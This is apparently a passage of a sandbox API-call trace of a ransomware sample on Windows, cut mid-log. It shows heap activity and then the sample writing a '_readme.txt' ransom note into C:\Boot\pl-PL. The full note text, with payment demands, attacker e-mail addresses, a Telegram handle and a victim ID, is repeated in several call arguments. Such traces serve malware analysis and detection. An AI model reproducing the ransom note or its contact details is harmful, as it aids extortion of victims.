lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.277] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0059.277] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.278] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.278] PathFindFileNameW (pszPath="") returned="" [0059.278] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.278] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.278] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.278] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.278] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0059.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.278] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0059.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.279] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.279] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.279] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt 